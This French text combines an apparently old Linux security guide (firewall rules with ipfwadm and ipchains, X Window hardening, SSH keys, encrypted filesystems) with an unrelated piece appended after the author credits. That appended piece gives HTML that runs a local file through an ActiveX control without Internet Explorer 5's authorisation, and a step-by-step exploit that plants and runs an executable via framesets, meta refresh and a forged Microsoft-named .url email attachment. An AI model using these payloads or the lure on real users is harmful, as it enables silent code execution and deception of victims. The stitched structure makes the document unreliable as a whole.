natix root ~ /sbin/ipfwadm -I -i deny -o -P tcp -S exemple.fr 80
natix root ~ /sbin/ipfwadm -I -l -n
IP firewall input rules, default policy: accept
type  prot source               destination          ports
deny  tcp  123.123.123.123      0.0.0.0/0        80 -> *
natix root ~ /sbin/ipfwadm -I -f
natix root ~ /sbin/ipfwadm -I -i deny -o -P tcp -S toto.fr -D natix 80
natix root ~ /sbin/ipfwadm -I -l -n
IP firewall input rules, default policy: accept
type  prot source               destination          ports
deny  tcp  192.168.1.6          192.168.1.4          * -> 80

on peut procéder par "ouverture" (tt est par dft interdit : on ferme tout, on dresse liste des besoins et on n'ouvre que les portes nécessaires) ou "fermeture" de portes

Première approche : paquets par défaut refusés

Deuxième approche : paquets par défaut acceptés

Machines sûres

attention : tt cela ne tient que si les machines 'autorisées' sont elles-mêmes sûres. s'en assurer : ne pas considérer que celles de l'isp le sont par défaut, par exemple. mieux vaut laisser tourner un tcpdump sans filtrage

Autres dispositions utiles

protéger par ipfw les hôtes d'un réseau local (par rapport au firewall principal)

Autres sources d'informations

• lire attentivement le NET-3-HOWTO
• lire la section du NFS HOWTO consacrée à la sécurité
• apprendre à employer PAM (outil dispo sur Red Hat et Debian)
• installer et apprendre à employer les TCP wrappers. Lire toutes les pages de man livrées (tcpd, tcpdchk, tcpdmatch)
• Étudier le moderne et performant Nessus. La version de démonstration de Ballista permettrait de tester la sécurité de localhost (?). Ne pas négliger les classiques Satan, ISS, COPS, CRACK. Igor Genibel indique comment employer Satan : Le télécharger Lire le fichier satan-netscape.README qui va te permettre de faire fonctionner ton browser avec Satan.
• placer ALL: ALL,PARANOID dans /etc/hosts.deny et ALL: dans /etc/hosts.allow (si le système n'est pas isolé, ajouter les systèmes autorisés)

7.5 Outils

ipfwadm

Ne fonctionne qu'avec un noyau intégrant le code firewalling. Compiler un noyau refusant les fragments IP car le le firewalling ne les traite pas.

Nous utiliserons surtout l'option -I (input), qui permet d'établir des règles de traitement des paquets entrants.

• (EB) Pour rendre inopérantes certaines attaques classiques ('land', 'teardrop', 'nestea' ...) utiliser un noyau compilé avec IP Firewalling ainsi que la configuration ipfwad suivante (règles extraites des scripts de boot debian 2.0). Noyau 2.0 :

  # refuser les paquets entrants prétendus issus de notre propre système
  ipfwadm -I -d deny -o -P all -S 127.0.0.0/0 -W eth0 -D 0/0
  ipfwadm -I -i deny -o -P all -S 127.0.0.0/0 -W eth0 -D 0/0
  my_ip=le numéro IP de la machine locale (hostname -i)
  ipfwadm -I -d deny -o -P all -S $my_ip -W eth0 -D 0/0
  ipfwadm -I -a deny -o -P all -S $my_ip -W eth0 -D 0/0
  

  Noyau 2.1 :

  #my_ip=le numéro IP de la machine locale (hostname -i)
  ipchains -D input -j DENY -p all -l -s 127.0.0.0/0 -i eth0 -d 0.0.0.0/0
  ipchains -I input -j DENY -p all -l -s 127.0.0.0/0 -i eth0 -d 0.0.0.0/0
  ipchains -D input -j DENY -p all -l -s $my_ip -i eth0 -d 0.0.0.0/0
  ipchains -I input -j DENY -p all -l -s $my_ip -i eth0 -d 0.0.0.0/0
  

  Si ipfwadm produit un message ipfwadm: setsockopt failed: Protocol not available le noyau ne contient pas le code de 'firewalling', il faut recompiler.
• PPP (question : comment antispoofer ainsi une liaison dialup à adresse dynamiquement attribuée ? par "ipfwadm -F -a deny -o -S adresse-ip-dynamique/netmask -D 127.0/0" ?)

  #interdire paquets prétendus issus de notre propre système
  ipfwadm -F -i deny -o -P all -S 127.0.0.0/0 -W ppp0 -D 0/0
  #DEVNAT dialup : faut-il faire de mm avec le numéro IP dyna ?
  
  #accepter input vers DNS du serveur de noms
  ipfwadm -I -W ppp0 -a accept -o -P tcp -S IP-DNS-primaire 53
  ipfwadm -I -W ppp0 -a accept -o -P tcp -S IP-DNS-secondaire 53
  ipfwadm -I -W ppp0 -a accept -o -P udp -S IP-DNS-primaire 53
  ipfwadm -I -W ppp0 -a accept -o -P udp -S IP-DNS-secondaire 53
  
  #interdire accès aux serveurs de noms, de news, et X (6000)
  #au serveur Web ou mandataire (8080, 8081), mail (25)
  ipfwadm -I -a reject -o -P tcp -W ppp0 -S 0/0 -D 0/0 25 53 80 113 119 6000 8080 8081
  ipfwadm -I -a reject -o -P udp -W ppp0 -S 0/0 -D 0/0 25 53 80 113 119 6000
  8080 8081
  #et autres services ...
  ipfwadm -I -a reject -o -P udp -W ppp0 -S 0/0 -D 0/0 13 19 39
  ipfwadm -I -a reject -o -P tcp -W ppp0 -S 0/0 -D 0/0 13 19 39
  #attention ! de nombreux ports potentiellement dangereux demeurent ainsi
  #ouverts. vérifier la config, par exemple grâce à un scanner (strobe ...)
  
  Attention : ne pas « scanner » une autre machine que la vôtre sans
  autorisation préalable de son administrateur. Des programmes peuvent
  détecter ce genre d'activité, ce qui peut alarmer les responsables du site.
  
  #accounting
  ipfwadm -A -f
  ipfwadm -A in -i -W ppp0
  

  traiter des routeurs (tables, capacité de droper des paquets, comme le code de firewalling mais généralement + rapide car matos dédié)
• (EB) Utiliser l'IP Masquerading au lieu d'un firewall classique. (question : pourquoi ?)
• (EB) utiliser ssh plutôt que telnet et les commandes 'r' (rcp, rsh, rlogin)
• vider /etc/inetd.conf et ne pas laisser inetd fonctionner (Red Hat : éditer /etc/rc.d/init.d/inet, ajouter un "exit 0" au début)
• utiliser un logiciel assurant des connexions et transferts de fichiers sécurisés (par exemple ssh). ATTENTION : une autorisation est parfois requise, se renseigner au préalable.
• utiliser tcpdump, durant les connexions à l'Internet, pour capturer tout paquet issu de domaines inconnus. Par exemple en plaçant dans le script de démarrage de session PPP (souvent /etc/ppp/ppp-on) la commande :

  ---

  xterm -display unix:0.0 -e tcpdump -l -p -i ppp0|grep -v
  ' Nom-Proxy-Du-Fournisseur\.Numéro-Port[ :]'
  noter les espaces. ne matchera pas un sous-domaine (mode PARANO !)
  

  ---

  surveiller l'activité avec trafshow (qui donc parvient à employer la v2 avec PPP ?) (trafshow -i ppp0 -S -r 300 -r 0 -u 1) l'invoquer ds ppp-on

7.6 X Window

• ne démarrer X Window que grâce à l'alias x ainsi défini :

  ---

  alias x='(startx >/dev/null &);clear;logout'
  

  ---

  Explication : (dans le cas le plus commun) l'utilisateur se loge en mode console (hors de X Window, donc) puis invoque startx. Mais sa session de travail en mode console demeure accessible à quiconque peut accéder à son clavier. Elle permet de retrouver la session shell grâce à laquelle il invoqua X. Un pirate pourra par exemple (ces manoeuvres ne sont pas dangereuses, les essayer si nécessaire, afin de bien comprendre) :
  • attendre que sa victime s'éloigne de son poste de travail sans quitter X Window
  • composer Contrôle-Alt-F1 pour retrouver le shell. cela lui donnera satisfaction même si un programme de verrouillage de la session X Window fonctionne
  • (si nécessaire) expédier le serveur X en tâche de fond : composer Contrôle-Z et introduire bg. ou bien le tuer (Contrôle-C suffit)
  L'alias x ici proposé lance X Window puis « déloge » l'utilisateur afin de ne pas laisser la session en mode console. On peut aussi modifier startx de sorte qu'il ne laisse pas de terminal inactif. Autre solution : employer xdm.
• vérifier que le serveur X emploie bien des cookies (MIT-MAGIC-COOKIES). Lire la page de man de xauth et mcookie). (EB) Ne jamais utiliser xhost.
• lire la section 'SECURITY' du man de xterm (EB) Passer en mode secure keyboard pour composer un mot de passe. Pour cela : cliquer sur Contrôle-bouton 1 et sélectionner cette option. L'affichage du terminal doit passer en vidéo inverse et cela ne doit pas émettre de son d'alarme. Composer le mot de passe puis procéder de même pour débrayer le mode sécurisé.
• X n'est pas sûr lorsque le serveur employé est setuid root. Ne pas le laisser setuid root : utiliser XFree 3.3.2 ou bien xdm
• placer le mot-clé "DontZap" dans la section "ServerFlags" du fichier XF86Config afin d'interdire à un mauvais plaisant d'avorter une session X Window par Contrôle-Alt-Backspace

7.7 Secure Shell

Un des plus importants utilitaires du domaines publique est secure shell (SSH). Ce client-serveur et capable de fournir un tunnel de chiffré entre un ou plusieurs ordinateurs, et ainsi de proteger les communications (dont les mots de passe).

Principe de SSH

SSH Est une application client-serveur qui permet de sécuriser les communications au travers de chiffrement, authentification de machines au travers du mecanisme RSA, et une variété d'autres options pour l'authentification des utilisateurs. Il permet de remplacer des programmes comme rlogin, rsh, et rcp. Il permet aussi de fournir une session X windows chiffrée et des sessions chiffrées pour toutes les connexions TCP.

Le protocole ssh réalise ceci. ssh signifie secure shell. Il s'agit d'un ensemble client-serveur qui chiffre non seulement les mots de passe à la connexion, mais toute la session par la suite. C'est-à-dire que tout ce que vous tapez au clavier est chiffré (de manière plus légère néanmoins que ce qui ce passe lors de la connexion).

Ce protocole fonctionne avec deux clés associées à chaque machine, principe du chiffrement à clé asymétrique. Ainsi, lors d'une connexion, la machine sur laquelle vous vous connectez envoie sa clé publique. Votre machine chiffre les informations à envoyer avec la clé publique, qui sont déchiffrées à l'arrivée par la clé privée.

Une fois que vous êtes connectés par ssh, les applications X empruntent le canal sécurisé. Ce que vous saisirez dans toutes les fenêtres sera donc chiffré sur le réseau.

ssh utilise deux niveaux d'authenfication, par nom de machine (défaut) et par utilisateur (mot de passe supplémentaire, appelé passphrase).

Si vous ne souhaitez pas taper votre mot de passe à chaque connexion, vous devez créer un fichier .rhosts contenant une liste de paire utilisateurs/machine autorisés à se connecter sur votre compte.

Dans ce cas, ssh continue à authentifier les machines avant la connexion, mais plus l'utilisateur !

Obenir et installer SSH

Vous pouvez obtenir SSH au format tar depuis ftp://ftp.cs.hut.fi/pub/ssh. Le format RPM est aussi disponible sur le site www.replay.com. Durant l'installation est possible le support avec PAM.

Comment générer des clés d'authentification ?

Le but de ces clés est de vous identifier de manière encore plus sécurisée que la simple information relative au nom de login et à la machine d'origine, dans le cas où un intrus a obtenu les droits root sur une machine, a pris votre identité et essaye d'accéder à vos autres comptes.

Le principe est de générer une clé associée à un texte, et de communiquer la partie publique de la clé à toutes les machines auxquelles vous souhaitez vous connecter.

Si, à partir d'une machine A, vous souhaitez vous connecter sur une machine B, voici les étapes à suivre :

sur la machine A, tapez ssh-keygen. La première fois, cette commande créera un répertoire .ssh dans votre répertoire de login :

     >ssh-keygen
     Initializing random number generator...
     Generating p:            ......++ (distance x)
     Generating q:                                ....++ (distance y)
     Computing the keys...
     Testing the keys...
     Key generation complete.
     Enter file in which to save the key (/home/[labo]/[login]/.ssh/identity):
     Enter passphrase:

Vous devez saisir une Passphrase, qui peut être assez longue (la documentation de ssh conseille de prendre une vingtaine de caractères, espaces permis). Cette phrase va déterminer la qualité de vos clés d'identification. Les deux parties de la clé sont ensuite générées. Dans l'exemple, la partie privée se trouvera dans le fichier .ssh/identity, la partie publique dans .ssh/identity.pub :

     Your identification has been saved in /home/[labo]/[login]/.ssh/identity.
     Your public key is:
     (longue chaîne)
     Your public key has been saved in /home/[labo]/[login]/.ssh/identity.pub

sur la machine B, vous devez créer un fichier appelé authorized_keys dans le répertoire .ssh, pour indiquer à ssh quelles seront les clés publiques autorisées à se connecter.

     >cd ~/.ssh
     >touch authorized_keys

Chaque fois que vous voudrez autoriser une machine A à se connecter sur la machine B, vous devrez ajouter à la fin du fichier authorized_keys la clé publique générée sur la machine A, c'est-à-dire le contenu du fichier .ssh/identity.pub de la machine A.

procedez de même sur la machine A. Bien sûr, la passphrase choisie sur B pourra être différente ! Lorsque vous vous connectez maintenant de A vers B par ssh, vous obtiendrez un prompt du type :

Enter passphrase for RSA key '[nom]@[machine]':: C'est ici la passphrase que vous devrez rentrer, qui peut-être différente du mot de passe. Si la phrase que vous rentrez est correcte, vous obtiendrez un shell. Sinon, ssh vous demandera votre mot de passe (au niveau d'authentification plus faible).

<

8. Les systèmes de fichiers chiffrés

8.1 Présentation

Les divers systèmes d'exploitation fournissent des équipements intégrés pour le chiffrement, par exemple les Windows 2000 a les systèmes de fichiers cryptographiques appelés EFS, et OpenBSD est fournit avec le support d'IPSec. Tandis que Linux n'a aucun système de chiffrement intégré, il existe la possibilité d'ajouter des modules tels que FreeS/WAN (chiffrement des données TCP-IP), CFS (un filesystem chiffré), TCFS (Transparent Cryptographic File System). Avec ces modules, vous pouvez chiffrer toutes les données sur vos ordinateurs ou réseau. Une des raisons primaires qui fait que le chiffrement n'est pas plus répandu sont les diverses lois concernant l'import/export et l'utilisation de la technologie de chiffrement.

Pour proteger vos données vous devez d'abord contrôler l'accès. Pour des données enregistrées sur des serveurs ceci est typiquement réalisé par l'intermédiaire des permissions de fichier, ou d'ACL (liste contrôle d'accès). Pour proteger correctement ces données il doivent être chiffrées. Ceci peut être fait simplement qu'en utilisant PGP pour chiffrer un fichier, ou des systèmes plus sophistiqué comme le système de fichier chiffré en temps réel. Pour Linux il y a plusieurs solutions, beaucoup en GPL et fourni en dehors des USA. Comme CFS (Cryptographic File System) ou TCFS (Transparent Cryptographic File System). CFS permet de chiffrer les les fichiers ou les répertoires au travers de nombreux systèmes de fichiers, dont ext2 et NFS sur Linux. CFS ne consserve aucun texte en clair sur le disque dur. Les utilisateurs créent et accèdent au répertoires chiffrés à travers une challenge phrase, qui est est utilisé pour générer la clé cryptographique.

8.2 Les produits

Acutellement il existe plus d'une dixaine de logiciel pour chiffrer votre disque dur

1. Loopback Encryption
2. Encrypted Home Directorys
3. CFS - Cryptographic File System
4. TCFS - Transparent Cryptographic Filesystem
5. ppdd - Practical Privacy Disc Driver
6. sfs - Steganographic File System for Linux
7. StegFS - A Steganographic File System for Linux
8. BestCrypt

noyau international

Encrypted Home Directorys Patch

Ce systèmes de patch noyau est basé sur l'identifiant d'un utilisateur, il permet de chiffrer des mutliples répertoires /home. Encrypted Home Directorys est très facile à utiliser pour un utilisateur de base pour qui la procédure de chiffrement-déchiffrement est trasnparente, l'utilisateur une fois saisie son login ne voit pas la différence avec son répertoire habituel. Mais vous devez garder à l'esprit que le chiffrement de disque se fait en même temps que vous utilisez la machine et ceci pour tous les différents utilisateurs ce qui engendre des grandes lenteur sur les accès disque. Sans compter que vous ne pouvez pas utiliser sur une machine distance des procédure d'accès sécurisé, en effet Encrypted Home Directorys ne supporte pas le ssh et le su.

Vous pourrez le trouver sur < url url="http://members.home.net/id-est/" name=http://members.home.net/id-est/">

CFS - Cryptographic File System

CFS est le premier systeme de chiffrement gratuit pour Unix. Ce systèmes pour se raccorder à un système NFS sans modifications du noyau, CFS est le système le plus portatif parmi les autres solutions. vous pouvez utiliser le cfs au-dessus du NFS de sorte que vos fichiers ne soient pas transmis en clair au-dessus du wire. Si vous désirez comprendre le fonctionnement de CFS vous pourrez lire "Cryptographic File System under Linux HOW-TO" ou "A Cryptographic File System for Unix" by Matt Blaze

TCFS - Transparent Cryptographic Filesystem

ppdd - Practical Privacy Disc Driver

ppdd est un système de chiffrement de disque dur très léger. Il permet de chiffrer les disque dur sous Linux. Il utilise les meilleurs technique de chiffrement et un large choix d'algoritthme

pdd lets you use encrypted files systems under Linux. It uses high quality encryption techniques suitable for the large volumes and the long lifetimes of data involved. It is easy to install and use and with just a little care on the users part is very difficult to misuse.

Vous pourrez trouver ppdd depuis soit http://linux01.gwdg.de/~alatham et ftp://ftp.gwdg.de/pub/linux/misc/ppdd

sfs - steganographic file system for Linux

Le fond théorique des sfs a été étendu par Ross Anderson, Roger Needham et ADI Shamir dans leur papier sur " le système de fichiers de Steganographic ".

Brièvement, un filesystem steganographic vise à être plus que juste votre chaque système de fichiers chiffré par jour. Il essaye de cacher l'information de façon à critiquer sa existence même. C'a été une tâche très difficile d'exécuter donné si peu de temps d'élaboration, mais nous avons réussi à atteindre ce but en dépit de quelques méthodes alternatives de faire des choses (lues: kludges:).

la page web de sfs

StegFS - A Steganographic File System for Linux

Andrew McDonald et Markus Kuhn a fait une autre mise en place des idées dépensées dans le papier d'Anderson, de Needham et de Shamir. Ils affirment que sfs est défectueux et de cette affirmation est sorti StegFS.

StegFS semble être vraiment raffiné et semble à première vue beaucoup plus utilisable que sfs. Puisque McDonald et Kuhn viennent la même université qu'Anderson elle semble qu'évident ils ont essayé de rassembler les critères les plus compliqué du Steganographic Filesystem.

the same University than Anderson it seems obvious they tried hard too meet the criterias of the Steganographic Filesystem paper.

la page web de StegFS

BestCrypt

Bestcrypt est un produit à orientation commercial, il est fournit avec les sources et il est aussi disponible pour MS windows et MACOS. Je n'ai pas encore eu le temps de le tester, si vous avez des infos....

vous pourrez le trouver sur le site http://www.jetico.com/

9. Autres infos

Explorer les sites de "crackers" (ne pas confondre avec "hackers"). Ne pas y télécharger de logiciel (attention aux chevaux de Troie !).

HOWTO et FAQ Linux pertinents :

• security
• firewalls-faq

Quelques sites intéressants :

• freshmeat (Firewall and Security)
• insecure.org
• Secure-Linux
• CIAC (UnixNetMon)
• HSC : présentations
• comp.security.unix and comp.security.misc frequently asked questions
• http://slashdot.org/askslashdot/9807111015241.shtml
• http://home.att.net/%7EBandit2006/
• http://www.txdirect.net/users/mdfranz/trinux.html
• http://www.cert.org
• http://science.nas.nasa.gov
• http://www.eds.org/audit/audit_faq.html
• http://bach.cis.temple.edu/linux/linux-security
• http://www.linuxfocus.org/English/July1998/article12.html
• Calife
• http://www.tummy.com/isinglass/
• http://www-ensimag.imag.fr
• http://www.clark.net/pub/mjr/pubs/index.shtml
• http://www.fen.baynet.de/~ft114/FCT/index.htm
• StackGuard
• http://www.aoy.com/Linux/Security/
• http://sites.inka.de/sites/lina/freefire-l/index.en.html
• http://www.linux-center.org/en/system/security/index.html
• ftp://ftp.lip6.fr/pub2/linux/networking/net-source/tools/
• http://www.recif-asso.com/
• http://linux.kernel.org/pub/linux/libs/pam/
• http://www.l0pht.com/users/10pht/nc110.tgz
• Log Scanner
• Trinux
• rootshell
• damnation
• Deception ToolKit
• Siam Relay
• SBScan
• TITAN
• PortScanner
• exscan
• FakeBO
• Securing Your Name Server
• slurpie
• hunt
• X
• X et Tk
• IPFW Firewall Design Tool
• Mason
• Guide sécu (en anglais)
• OpenSEC
• Security Portal
• SEIFRIED
• sherpa
• Abacus Project
• CERIAS

Auteurs :

• (EB) E. Bernard eb@via.ecp.fr
• Y; Quenec'hdu yannick@quenechdu.net
• (sbi) S. Blondeel
• (JR) J. Rousselot
• (ebr) E. Bonet Orozco
• Nat nat@linux-france.org

Voici aussi un code qui utilise le contrôle activeX "Wsh" pour ouvrir un fichier sans l'autorisation d' IE 5 :

<html>
<body>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
</object> 
<SCRIPT> 
wsh.Run('c:\\autoexec.bat');
</SCRIPT> 
</body>
</html>

Il est possible de forcer la sauvegarde des fichiers sur MSIE5
Microsoft Internet Explorer 5 en association avec le systeme de mail & news sur Win95, Win98 et Win2000 souffrent d'un trou de securite qui permet aux mechants crackers de forcer la sauvegarde d'un fichier sur une machine cible malgré les fenetres d'alerte et les warnings.

Les Systemes Vulnerables :
IE5.0 (Toutes les plateformes Windows)
IE5.1 (Toutes les plateformes Windows)

Description :
Creer un fichier html dans lequel il faudra inclure un programme executable encodé en base_64:

<frameset rows="10%,*">
<frame src="mars.exe" >
</frameset>

Creer un autre fichier html ( de type mail ou news) et l'envoyer a la machine cible. A la réception et ouverture, le destinataire devra "sauver", "ouvrir" ou "annuler". Dans tous les cas aucun de ces choix ne marchera. Pendant que le destinataire contemple les choix, le fichier est quand meme placé dans le répertoire temporaire (%windir%\temp). Séléctionner un de ces trois choix s'avere inutile car le fichier est toujours déposé dans le meme repertoire temporaire. Meme en reglant les soit-disants parametres de sécurité au maximim, on n'arrive qu'a generer un message d'erreur tout aussi inutile : le fichier est toujours livré dans le rep temporaire.

La Vulnérabilité

Creer un second fichier contenant un controle ActiveX (CLSID:15589FA1-C456-11CE-BF01-00AA0055595A) et qui va autoriser l'execution des fichiers localement (merci billou). Y incorporer le Javascript qui va appeler l'ActiveX en base_64 et mettre le tout dans une deuxieme frame html :

<frameset rows="10%,*">
<frame src="mars.exe" >
<frame src="lunar.mhtml" >
</frameset>

Appliquer le tag meta HTTP-EQUIV refresh:

<meta http-equiv="refresh"content="5; url=mhtml:file://C:\WINDOWS\TEMP\lunar.mhtml">

(NOTE: Etant donné que ca peut varier, il va falloir jouer ca sur un coup de poker et partir du principe que le repertoire par defaut est C:\WINDOWS\TEMP).
Repasser le binaires une seconde fois an base64.

Dans cet exemple, génériquement dilué, le lien est cliqué, le fichier mars.mhtml va déposer les fichiers *.exe et *.mhtml dans le repertoire temporaire. Le client va afficher une boite de dialogue proposant de "sauver", "ouvrir" ou "annuler" sans tenir compte du choix en ce qui concerne la sauvegarde dans le repertoire temporaire, le tag meta refresh va faire recharger le *.mhtml dans le repertoire temporaire, l'ouvrir et executer le Javascript avec le controle active-x puis enfin lancer l'executable (c'est tordu mais ca marche).

Etant donné que le fichier est lancé localement, aucun des parametres de securité internet/intranet/zone n'est pris en compte.

Exemple concret :
http://www.madchat.org/exploits/mars.mhtml

(NOTE: Doit etre exécuté offline, le fichier exe n'est pas un virus et se declenche environs 5 secondes apres avoir répondu au prompt).

C'est faisable a partir de l'email?

Vivi bien sur mais c'est deja moins évident :

Créer deux séries de messages html :

(a) Le premier compromettant le fichier a etre livré:

<frameset rows="10%,*">
<frame src="refresh.bat" >
</frameset>

Exemple concret :
http://www.madchat.org/exploits/refresh.eml

(NOTE: doit etre lancé depuis le client courrier. Produit un simple *.bat contenant "@exit")

(b) Le second compromettant un *.url fabriqué frauduleusement:

Content-Type: application/octet-stream;
name="Microsoft TechNet Security.url"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="Microsoft TechNet Security.url"

[DEFAULT]
BASEURL=C:\WINDOWS\TEMP\refresh.bat
[InternetShortcut]
URL=C:\WINDOWS\TEMP\refresh.bat

On inclut un faux lien : <font color=blue style="cursor:hand">....

Le destinataire est donc forcé a ouvrir le fichier *.url bidon s'il veut avoir acces a son info.

Exemple concret :
http://www.madchat.org/exploit/secureme.eml

(NOTE: uniquement depuis le client mail.)

Le Scenario n'est pas evident ?

Envoyer le premier courrier et le second courrier separement a la machine cible (dans l'ordre).
Le destinataire va ouvrir le premier msg (save, open, cancel) pendant que le fichier est déposé dans le repertoire temporaire. A l'ouverture du second email apparemment assez innocent (si toutefois la provenance de m$ est un gage de confiance et de securite hehe) le destinataire va tomber sur le faux lien et ouvrir l'attachement (.url) qui pointe sur le C:\WINDOWS\TEMP\ ou les fichiers livrés plus tot attendent patiemment.

Ce scénario peut etre inclus dans un simple message email (attachements).



Contrib, autoriat et recherches :
sinkhole@malware.com
http://members.xoom.com/malware
Traduction et tests : tobozo@madchat.org

Crédit